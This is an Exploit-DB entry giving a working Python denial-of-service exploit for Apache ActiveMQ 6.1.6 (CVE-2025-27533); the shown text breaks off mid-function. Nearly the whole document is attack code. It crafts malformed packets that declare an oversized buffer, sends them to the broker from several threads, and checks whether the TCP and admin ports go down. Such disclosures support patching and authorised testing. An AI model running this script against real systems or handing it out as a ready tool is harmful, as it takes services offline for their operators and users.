Exploit-DB #52288
Description: Apache ActiveMQ 6.1.6 - Denial of Service (DOS)
Type: remote
Platform: multiple
Date: 2025-05-09
Author: Abdualhadi khalifa

Exploit:
# Exploit Title: Apache ActiveMQ 6.1.6 - Denial of Service (DOS) 
# Date: 2025-05-9
# Exploit Author: [Abdualhadi khalifa (https://x.com/absholi7ly/)
# Github: https://github.com/absholi7ly/CVE-2025-27533-Exploit-for-Apache-ActiveMQ
# CVE: CVE-2025-27533

import socket
import struct
import time
import datetime
import threading
import requests
import argparse
import random
from colorama import init, Fore
from tabulate import tabulate
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor

init()

def print_banner():
    banner = f"""
{Fore.CYAN}============================================================
        CVE-2025-27533 Exploit PoC - Apache ActiveMQ DoS
============================================================
{Fore.YELLOW}Developed by: absholi7ly
{Fore.CYAN}============================================================{Fore.RESET}
    """
    print(banner)

def _check_server_availability(host, port, admin_port=8161, timeout=2):
    """Internal function to check server availability"""
    tcp_reachable = False
    admin_reachable = False
    
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((host, port))
        sock.close()
        tcp_reachable = True
    except (socket.timeout, ConnectionRefusedError):
        pass
    
    try:
        response = requests.get(f"http://{host}:{admin_port}/admin", timeout=timeout)
        admin_reachable = response.status_code == 200
    except (requests.Timeout, requests.ConnectionError):
        pass
    
    return tcp_reachable, admin_reachable

def check_server_availability(host, port, admin_port=8161, timeout=2, retries=5):
    for _ in range(retries):
        tcp_reachable, admin_reachable = _check_server_availability(host, port, admin_port, timeout)
        if not tcp_reachable:
            return False, admin_reachable
        time.sleep(0.5)
    return True, admin_reachable

def parse_hex_or_int(value):
    try:
        if value.startswith('0x') or value.startswith('0X'):
            return int(value, 16)
        return int(value)
    except ValueError:
        raise ValueError(f"Invalid integer or hex value: {value}")

def create_malicious_packet(buffer_size=0x1E00000, packet_id=1):
    command_type = 0x01
    client_id = f"EXPLOIT-PACKET-{packet_id:04d}".encode()
    version = 12
    
    packet = bytearray()
    packet += b'\x00\x00\x00\x00'
    packet += struct.pack("B", command_type)
    packet += struct.pack(">I", len(client_id))
    packet += client_id
    packet += struct.pack(">I", version)
    packet += struct.pack(">I", buffer_size)
    packet += bytes(random.randint(0, 255) for _ in range(50)) 
    
    packet_length = len(packet) - 4
    packet[0:4] = struct.pack(">I", packet_length)
    
    return packet

def send_single_packet(host, port, packet, packet_num, total_packets, buffer_size, packet_status, stop_event):
    if stop_event.is_set():
        return
    
    timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
    tcp_reachable, admin_reachable = check_server_availability(host, port)
    status = f"TCP: {'Up' if tcp_reachable else 'Down'}, Admin: {'Up' if admin_reachable else 'Down'}"
    local_port = "N/A"
    connection_status = "Success"
    
    max_connect_retries = 5
    for connect_attempt in range(max_connect_retries):
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024 * 1024)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)  
        
        try:
            sock.connect((host, port))
            local_port = sock.getsockname()[1]
            print(f"{Fore.GREEN}[+] Connected to {host}:{port} (Packet {packet_num}/{total_packets}, Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}")
            
            max_retries = 3
            for attempt in range(max_retries):
                try:
                    sock.send(packet)
                    print(f"{Fore.CYAN}[*] Sent Packet {packet_num}/{total_packets} (Port: {local_port}, Buffer: {buffer_size // (1024*1024)} MB){Fore.RESET}")
                    try:
                        response = sock.recv(2048)  
                        response_len = len(response)
                        connection_status = f"Success (Response: {response_len} bytes)"
                    except:
                        connection_status = "Success (No Response)"
                    break
                except socket.error as e:
                    connection_status = f"Failed: {str(e)}"
                    if attempt < max_retries - 1:
                        print(f"{Fore.YELLOW}[-] Failed to send Packet {packet_num}/{total_packets} (Attempt {attempt+1}, Port: {local_port}): {e}. Retrying...{Fore.RESET}")
                        time.sleep(0.5)
                        continue
                    else:
                        print(f"{Fore.RED}[-] Failed to send Packet {packet_num}/{total_packets} after {max_retries} attempts: {e}{Fore.RESET}")
            
            packet_status.append([packet_num, timestamp, status, local_port, f"Packet-{packet_num:04d}", connection_status])
            break
        
        except socket.timeout:
            print(f"{Fore.RED}[-] Connection timeout for Packet {packet_num}/{total_packets} (Port: {local_port}){Fore.RESET}")
            packet_status.append([packet_num, timestamp, "Connection Timeout", local_port, f"Packet-{packet_num:04d}", "Timeout"])
            break
        except socket.error as e:
            error_str = str(e)
            if "10053" in error_str:
                error_type